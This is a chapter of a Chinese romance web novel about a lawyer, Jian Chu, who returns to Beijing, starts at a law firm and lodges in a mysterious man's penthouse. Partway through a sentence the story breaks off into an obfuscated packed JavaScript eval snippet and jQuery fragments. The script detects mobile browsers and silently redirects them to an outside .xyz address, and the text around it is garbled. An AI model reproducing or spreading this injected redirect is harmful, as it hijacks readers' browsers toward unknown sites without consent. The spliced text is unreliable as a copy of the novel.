飞机到达北京上空的时候，天色已经全然暗透。
舷窗外是星星点点的灯火，连缀成一片橘黄色的望不到尽头的海。简初知道，这是北京，她离开八年，这座城市她明明那么熟悉，这一刻又觉得全然陌生。
八年的伦敦光阴，最后只浓缩成一个26寸的行李箱。
她拉着箱子，随着人潮走出闸口，站在接机大厅明晃晃的灯光下，有片刻的茫然。她从口袋里摸出手机，屏幕上蛛网般的裂痕，无声地昭示着她此刻的狼狈。
她穿着一件洗得发旧的卡其色风衣，长长的卷发有些凌乱地披在肩上，一路的风尘仆仆让她看起来像一株被雨打湿的植物，倦怠，却依旧挺拔。
“简初！”
一声清脆的呼喊穿透嘈杂，简初循声望去，只见一个穿着皮夹克的女孩正拼命朝她挥手，是沈歆乔。
她快步走过去，两人结结实实地抱在一起，沈歆乔身上的味道让简初在这一刻才真切的感觉自己回来了，沈歆乔还是那样的鲜活热烈，瞬间冲散了简初满身的疲惫。
“可算把你盼回来了！”沈歆乔放开她，围着她转了一圈，啧啧两声，“瘦了这么多，但怎么好像比以前更好看了？这眼睛，跟小钩子似的。”
简初笑了笑，那点笑意却未达眼底。她轻声问：“歆乔，你那边……有暂时可以落脚的地方吗？”
沈歆乔立刻上前搂住她的肩膀，仗义说道：“说什么呢？姐们儿还能让你流落街头不成？跟我走吧。”说完，沈歆乔拉过简初的行李箱，二人直奔停车场。
她们坐上一辆黑色的宾利，司机沉默地发动引擎，将车平稳地汇入夜色中的车流。
沈歆乔在她耳边叽叽喳喳，说着这八年北京翻天覆地的变化，哪里开了新的商场，哪个乐队又火了，哪边有新开的烤羊腿特别好吃。
简初只是“嗯”着，目光却落在窗外。
北京的树，北京的路，那些宽阔有拥挤的街道，在车灯的流光中一晃而过。一切都像隔着一层雾气，看得见轮廓，却触不到实感。
车最终停在了国贸附近的一处顶级公寓楼下。银座铂悦府，简初知道这个地方。
沈歆乔刷开门禁，拉着她直奔电梯。
简初看着电梯里不断攀升的数字，忍不住调侃：“你在电话里可不是这么说的。你管这叫普通公寓？”
“叮”的一声，电梯门在顶层滑开。
“嗨，”沈歆乔拉着她走出电梯，语气轻松得仿佛在说一件小事，“这是我小叔的房子。他名下房子多，这儿就是个摆设，平时根本不住，你踏踏实实住着。”
“你小叔？”简初的脚步顿了一下。她对沈歆乔的家庭构成略知一二，却从未听说过这位小叔。
“是啊，”沈歆乔按上指纹锁，门应声而开，“你没见过。他之前一直在纽约，也就这三四年才回国，神龙见首不见尾的。”
门后的景象，让简初彻底失语。
那不是一个家，更像是一个设计杂志的样板间。
巨大的全景落地窗外，是整个CBD璀璨的夜景，车流如织。室内的装潢是极简的冷色调，黑白灰的搭配，利落的线条，所有家具都泛着冰冷的光泽。一尘不染的桌面，可以映出人影。
这里的一切都昂贵、精致，却唯独没有一丝烟火气。
“我跟你说啊，”沈歆乔把她的行李箱拖进来，压低声音，“我小叔这人有洁癖，事儿得很。不过他人不在，你随便折腾。就是……最好别乱动他书房的东西。”
就在这时，沈歆乔的手机响了。她接起电话，说了几句“马上到”，便一脸歉意地看向简初：“初初，对不住啊，乐队那边催我去排练新歌，今儿不能陪你了。”
简初看了看手机上的时间，忍不住问道：“这么晚？”
沈歆乔耸了耸肩说道：“你知道的，我们玩音乐的，就晚上精神头足。”
她把一张电梯卡放在玄关的柜子上，又补充道：“你随便挑个房间住，主卧也行，门锁密码我发你微信上了。等我这几天忙完，就来找你大醉一场！”
说完，她便像一阵风似的离开了。
空旷的公寓里，瞬间只剩下简初一个人。巨大的寂静，仿佛能听到自己心脏空落落的回响。
她没有立刻去选房间，只是在屋里随便逛逛，试图与这里相互熟悉一番。
她鬼使神差地推开了一间紧闭的房门。
房间里没有开灯，只有窗外的城市霓虹渗透进来，勾勒出屋内的轮廓。空气中浮动着一种极淡，却极有存在感的香气。
她走到书架前，借着夜色照的光看去。一整排，全是她看不懂的德文原版书，经济学、哲学……书脊崭新，但是有过翻阅的痕迹，只是被主人保养的很好。
她无意间拉开衣帽间的门，感应灯亮起。一整排熨烫得一丝不苟的白衬衫，安静地悬挂着，有淡淡的雪松香气。
在床头柜上，她看到了一枚被遗忘的袖扣。古典的方形，黑曜石材质。
这些细节，无声地拼凑出一个男人的形象，冷静、自律、严谨，高高在上，不近人情。
简初忽然觉得有些呼吸不畅。那种雪松的香气，像一只无形的手，攥住了她的心脏，让她有片刻的恍惚和心悸。
似乎……在哪里闻到过。
记忆深处有什么东西想要破土而出，却被厚厚的尘土死死压住。她苦笑一下：“怎么可能是他，天底下哪儿有这么巧的事。”
她迅速退出了这个房间，轻轻将门带上，隔绝了那一室的清冷。最终，她选了走廊尽头离主卧最远的一间次卧。
将行李箱里的东西一一拿出，摆进空荡荡的衣柜。做完这一切，她走到窗边。
万家灯火，却没有一盏是为她而亮。
她看着玻璃窗上自己模糊的倒影，轻声对自己说。
“简初，无论如何，尽快赚钱搬出去。”
在铂悦府醒来的第三天，简初睁开眼，看着天花板上陌生的水晶吊灯，依旧觉得一切都不太真实。
阳光透过巨大的落地窗洒进来，在地板上投下明亮的光斑。空气里浮动着微尘，也浮动着不属于她的气息。这里太过安静，太过空旷，哪儿都好，就是不像一个家。
她坐起身，拿起手机，点开了那封躺在收件箱里被她反复确认过数次的邮件。
【简初女士：恭喜您通过最终面试，正式被衡德律师事务所录用……】
这是她回国后投出的数十份简历里，唯一一个给了回音的顶级律所。
第一天去律所报到，她甚至连自己的工位都还没坐热，就被律所的合伙人霍斯庭叫进了办公室。
一个棘手的案卷被推到她面前，性（和谐）侵案，但坚称双方是你情我愿，而原告拿不出任何实质性证据。
“之前负责的律师家里出了急事，开庭在即，没人愿意接这个烂摊子。”霍斯庭的语气公事公办，“你是新人，正好拿来练手。”
案子难缠，吃力不讨好。那个前辈算准她在试用期，不值钱，就找个借口把这摊脏活利落地塞给了她。
简初也没办法拒绝，她现在还没分部门，苦笑一下接了。就这样，她被赶鸭子上架，几乎不眠不休地准备了好几天。
……
这天庭上，简初步步紧逼，逼得对面的年轻被告语无伦次，神色慌乱，最后崩溃大哭。审判长敲槌宣布暂时休庭，她收起案卷，刚走出法庭门，还未来得及喘口气，一记耳光便裹着风声落了下来，毫无预兆地抽在她脸上。
“啪——”
那声响，清脆的在肃静的走廊里炸开，带着回音。
“你也是个女人，你怎么能为那种人渣辩护？他毁了我女儿一辈子！”一个中年妇女眼睛通红，像一头被逼到绝路的母狮子，情绪已然失控。
法警立刻上前将她死死架住，场面一度混乱不堪。那女人还在不甘地咒骂，字字句句都像淬了毒的钉子，朝简初射来。
简初被打得偏过脸，白皙的脸颊上，几道指印迅速浮起，火辣辣地疼。她却只是沉默地站直了身体，任由那些污言秽语冲刷着她，眼神平静得像一潭深水。
她的上司霍斯庭走了过来，将她护在身后，随即将一杯冰咖啡塞进她手里。
“别站在这儿当靶子了，”他语气听不出情绪，下颌朝旁边的休息室点了点，“跟我来。”
休息室里，霍斯庭将一叠打印出来的资料甩在桌上，发出沉闷的声响。
“原告的社交平台，我找人挖的。私生活乱得很，要想赢，这是现成的突破口。”
简初垂眸，指尖翻过两页，上面是些不堪入目的照片和聊天记录。然后，她松开手，任由那些纸张飘落，精准地掉进了墙角的垃圾桶。
“我不想用攻击另一个女人的私生活，来赢这场官司。”她拿起那杯冰咖啡，送到唇边抿了一口，??把咖啡放回桌子上。
霍斯庭笑了一下，开口道：“简初，你刚来就输官司，你不怕回头工作没了？”
简初没有回答，她从手包里拿出气垫，对着镜子，从容地补了补妆，遮住那道红印。
推门出去时，她转头对霍斯庭说道：“哪怕是婚姻关系中，女人也有权利说不。”
她的眼神依旧冷静，仿佛刚才的一切什么都没发生。
霍斯庭看着她离去的背影，喝了一口手中的咖啡，低声说道：“不愧是我选上的人。”
简初最终败诉了。
傍晚，地下停车场，空气里混杂着潮湿的霉味和汽车尾气的味道。
简初刚走出电梯口没几步，就被一道阴影拦住了去路。是她那位不甘的当事人，一个穿的人模狗样的男人。
男人脸上挂着阴沉的笑：“简律师，手段就这点？老子花钱是让你赢的，不是让你在这儿跟老子装什么道德标兵。”
话音未落，他猛地扯住简初的手臂，一把将她推向身后一辆车的引擎盖。
“砰”的一声，简初的后背结结实实地撞上冰冷的金属，疼得她倒抽一口冷气。
下一秒——
“你大爷的！你动她一下试试！”
一道怒骂声惊地炸起，沈歆乔不知从哪辆车里冲了出来，手里握着她那支银色的长笛，想也没想，直接照着那男人的后脑勺招呼了下去。
男人发出一声闷哼，捂着头转过来，刚要发作，却对上两道冰冷的视线。
一道来自怒发冲冠的沈歆乔。
另一道，则来自刚刚被他推倒的简初。
简初已经站直了身体，掸了掸风衣上的灰尘。她抬起手，指了指男人头顶闪着红点的监控摄像头，语气沉静而清晰，每个字都像一把精准的手术刀：
“王先生，依照《民法典》第一千零四条、第一千零九十一条，以及《治安管理处罚法》第四十三条，你的行为已同时构成骚扰与故意伤害罪。我现在，可以立刻从你的辩护律师，变成你的原告。需要我帮你计算一下赔偿金额和拘留天数吗？”
男人怔住了，眼里的凶光瞬间变成了惊慌。他张了张嘴，看看简初，又看看旁边手持“凶器”的沈歆乔，最终什么也没说，啐了一口，灰头土脸地走了。
沈歆乔把长笛收回来，在手里掂了掂，吹了声口哨：“怎么样？姐这乐器，是不是比你的律师证好使多了？”
简初拍了拍衣摆，被她逗笑了，眉眼间那点冰霜终于化开：“是，下次我给你也报个司法考试。”她走近，忽然问道：“你今儿不是有演出吗？怎么跑这儿来了？”
“嗨，别提了。那破酒吧消防没过关，临时取消了。”沈歆乔一把搂过简初
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139026|180396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的肩膀，“知道你今儿第一次开庭，想着来接你，给你去去晦气。说，想吃什么，姐请客！”
“炙子烤肉吧。”简初说。
她跟着沈歆乔，走到一辆破旧的蓝色斯巴鲁面前，车身上还有几道刮痕。简初眉头一挑，语气里带着点揶揄：“哟，沈大小姐这是转行跑网约车，体验生活呢？”
“去你的。”沈歆乔笑骂一声，拿钥匙开了车门，“我们乐队吉他手的车，临时借的。”
她说这话时，眼神飘忽，耳根却有点红，那点藏不住的小欢喜，全写在脸上。
简初坐进副驾，看她一眼，一针见血：“你还真在他面前演上瘾了？住地下室，搞独立音乐的穷学生，代入感挺强啊。”
“你可别哪壶不开提哪壶！”沈歆乔白了她一眼，拧动钥匙发动了车。
车行到三环，毫无意外地堵在了晚高峰的车流里。简初低头看手机，屏幕上忽然弹出一条财经快讯的推送——
【骁岳集团法律合规战略升级，携手衡德律所共建跨境并购风险控制体系】
标题还没看完，霍斯庭的电话就进来了。
她接起，那边的声音干脆利落，甚至带着一丝不易察觉的兴奋：“简初，你在国外啃的那套公司法，终于有用了。新闻想必你看到了，骁岳集团的项目，我们所正式接手。我决定让你直接参与项目组，以后不用再碰那些糟心的民事官司了。”
电话挂断，简初看着窗外堵得纹丝不动的车流，和远处高楼上闪烁的霓虹，唇角一点一点地，扬了起来。
那是一个极其明亮的笑容。
她偏过头，看向身旁还在抱怨路况的沈歆乔，眉眼弯弯：
“宝贝儿，今晚我请客。随便点，我啊，要接大项目了。”
-
几天后，三里屯某餐厅里。
这是衡德律所与骁岳集团项目组的会面后的一个应酬。
对方的CEO一直未露面，派来的是一位言笑晏晏的副总。
饭局上的气氛被酒精和客套烘托得恰到好处。
简初坐在霍斯庭身边，穿着一身剪裁得体的套裙，脸上是无懈可击的职业微笑。她安静地听着他们交谈，偶尔在关键节点上，用流利的英文补充几句关于跨境并购中法律风险的见解，精准而犀利。
“简律师真是年轻有为，”对方的副总举起酒杯，“这杯我敬你和霍律师，预祝我们合作愉快。”
简初站起身，含笑举起手中的红酒杯，猩红的液体在杯壁上挂出一道优美的弧线。清脆的碰杯声后，她一饮而尽。
应酬结束已是深夜。
餐厅门口，霍斯庭的司机已经将车开了过来。他对简初说：“我送你回去。”
“不用麻烦了，我自己打车就好。”简初客气地推辞。
“这么晚了，一个女孩子还喝了不少。”霍斯庭坚持着，已经为她拉开了后座的车门。
简初没再坚持，道了声谢坐了进去。
车平稳地驶入夜色。霍斯庭问：“你住哪儿？”
简初看着窗外的夜景，报了个地址：“国贸银泰。”
正在看文件的霍斯庭闻言，动作一顿，抬起头，眼神里闪过一丝不易察觉的惊讶。银泰的房价，他心知肚明，绝不是一个刚入职的新律师能负担得起的。
简初看出了他的疑惑，目光依旧望着窗外，语气平淡得像在陈述天气：“朋友的房子，暂时借住。等稳定下来，很快就会搬出去的。”
她没有多做解释，霍斯庭也没有再问。车厢里陷入一种微妙的沉默，直到车停在公寓楼下。
告别霍斯庭，简初走进大堂。电梯无声地上升，镜面的墙壁映出她疲惫的身影。
她靠在冰冷的电梯壁上，只想立刻洗个热水澡，摔进柔软的被子里。
走出电梯，她有些摇晃地走到门前，输完密码锁。
“嘀”的一声轻响后，她推门而入，反手带上门，将整个世界的喧嚣都关在了身后。
应酬时的酒意此刻才真正翻涌上来，让她头脑发昏。
她踢掉脚上那双磨得她脚背快要断掉的高跟鞋，赤着脚踩在冰凉的地板上，一边朝客厅走，一边烦躁地扯着衬衫的领口，解开第一颗，第二颗扣子……
然而，当她抬起眼，浑身的血液仿佛在瞬间凝固了。
客厅的单人沙发上，坐着一个男人。
他没有穿西装外套，外套随意地搭在沙发扶手上。
他只着一件白色衬衫，袖口一丝不苟地挽到小臂，露出腕骨分明的手和一块看起来就价格不菲的表。他双腿交叠，姿态闲适，鼻梁上架着一副金丝眼镜，正垂眸看着膝上的一份文件。
听到动静，他缓缓抬起头。
镜片后的那双眼睛，深邃、冷静，像寒潭。
简初所有的酒意，在这一刻被惊得烟消云散。她脑子里第一个念头是走错了。
她想也不想，猛地转身，捡起地上的高跟鞋就要往外走，嘴里下意识地道歉：“抱歉，走错了！”
可她的手刚碰到门把，又骤然停住。
不对。密码是对的，这里是沈歆乔小叔的房子，是她住了一段时间的地方。
一股无名火混杂着后知后觉的恐惧，让她猛地转过身，气势汹汹地冲了回去，质问道：
“你丫谁啊？！怎么在我家？！”
男人似乎对她这番戏剧性的转变有些意外，镜片后的目光掠过她微敞的领口和赤着的双脚，眼神里带上了一丝审视与玩味。
他没有立刻回答，而是慢条斯理地合上手中的文件，将其放在一旁的茶几上。然后，他才重新看向她，薄唇轻启，声音沉稳，像大提琴的最低音，平静地陈述一个事实：
“不好意思，这位小姐。”
“这是我家。”